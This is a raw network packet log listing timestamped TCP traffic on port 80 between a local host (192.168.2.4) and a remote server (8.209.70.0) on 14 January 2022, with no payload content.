Jan 14, 2022 20:30:12.554959059 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.554972887 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.555003881 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.555042982 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.555052042 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.555073977 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.555105925 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.555135965 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.555144072 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.555172920 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.555197954 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.555207014 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.555218935 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.555223942 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.555237055 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.555249929 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.555263996 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.555268049 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.555280924 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.555295944 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.555298090 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.555325985 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.572514057 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.572540998 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.572573900 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.572592020 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.572654009 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.594224930 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594244003 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594264984 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594278097 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594310045 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594336033 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594353914 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594367027 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594379902 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594393015 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594393969 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.594405890 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594418049 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.594422102 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594435930 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594448090 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594460964 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594471931 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594485044 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594496012 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594510078 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594527006 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594540119 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594552994 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594566107 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594580889 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594583988 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.594594002 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594623089 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.594667912 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.594690084 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594716072 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594758987 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.594810963 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594825029 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594841957 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594854116 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594867945 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.594871044 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594883919 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594899893 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.594901085 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594914913 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594927073 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.594930887 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594944000 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594957113 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594961882 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.594969988 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.594981909 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.595001936 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.595042944 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.611849070 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.611867905 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.611893892 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.611906052 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.611941099 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.611972094 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.633769035 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.633791924 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.633810997 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.633826017 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.633842945 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.633869886 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.633884907 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.633896112 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.633908033 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.633922100 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.633925915 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.633928061 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.633940935 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.633955002 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.633956909 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.633970022 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.633984089 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.633989096 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.634000063 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634013891 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634021997 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.634032965 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634047031 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634056091 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.634067059 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634080887 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634084940 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.634095907 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634111881 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.634143114 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634155035 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634170055 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634185076 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.634185076 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634202957 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634216070 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.634223938 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634238005 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634248972 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.634258032 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634270906 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634287119 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634294033 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.634299040 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634310961 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.634313107 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634346962 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.634380102 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634393930 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634409904 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634427071 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634434938 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.634447098 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634459972 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634469032 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.634478092 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634490013 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634507895 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634519100 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.634521008 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634536028 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634552002 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634558916 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.634566069 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634576082 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.634577990 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634591103 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634607077 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.634623051 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.651335001 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.651359081 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.651386976 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.651460886 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.651485920 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.651555061 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.651571035 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.651592970 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.651612997 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.651614904 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.651632071 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.651650906 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.651659012 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.651674986 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.651691914 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.651698112 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.651715040 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.651722908 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.651738882 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.651752949 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.651762962 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.651779890 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.651799917 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.651846886 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.651858091 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.651869059 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.651881933 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.651891947 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.651911020 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.651921034 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.651937962 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.651952982 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.651962042 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.651978970 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.652002096 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.652018070 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.652024984 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.652045965 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.652055979 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.652072906 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.652093887 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.652111053 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.652113914 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.652132988 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.652139902 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.652157068 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.652169943 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.652179003 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.652194977 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.652215958 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.652231932 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.652236938 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.652256012 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.652264118 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.652280092 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.652297020 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.652297974 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.652347088 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.673427105 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673445940 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673468113 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673480988 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673494101 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673511982 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673532963 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673532963 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.673552990 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.673552990 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673572063 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.673573971 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673590899 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673604965 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673612118 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.673624992 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673640013 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673641920 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.673655033 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673669100 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673676968 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.673688889 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673702955 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673706055 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.673719883 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673732996 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673749924 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673768044 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.673768044 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673784971 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673789978 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.673800945 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673814058 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.673818111 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673831940 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673844099 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.673860073 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673877954 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673893929 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673907042 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673914909 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.673928022 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673943043 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673945904 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.673957109 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673973083 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.673976898 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.673993111 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.674006939 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.674010992 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.674021959 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.674036980 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.674040079 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.674053907 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.674066067 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.674072981 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.674084902 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.674099922 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.674102068 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.674113989 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.674127102 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.674132109 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.674143076 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.674156904 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.674163103 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.674175978 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.674190998 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.674194098 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.674206972 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.674242020 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.674271107 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.691446066 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691463947 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691489935 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691503048 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691524029 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691528082 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.691536903 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691554070 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691567898 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691572905 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.691585064 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691602945 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691607952 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.691618919 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691632032 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691641092 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.691652060 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691668034 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691680908 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691689968 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.691703081 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691716909 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691737890 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691750050 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.691754103 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691767931 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691790104 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691802979 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691808939 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.691827059 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691839933 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691859961 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691860914 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.691876888 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691890001 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.691896915 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691910982 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691914082 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.691926003 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691941023 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691947937 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.691960096 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691977024 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.691977978 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.691992044 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692006111 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.692011118 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692023993 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692040920 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692053080 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692061901 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.692073107 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692089081 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692090034 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.692102909 CET	80	49919	8.209.70.0	192.168.2.4
Jan 14, 2022 20:30:12.692117929 CET	49919	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:30:12.692122936 CET	80	49919	8.209.70.0	192.168.2.4
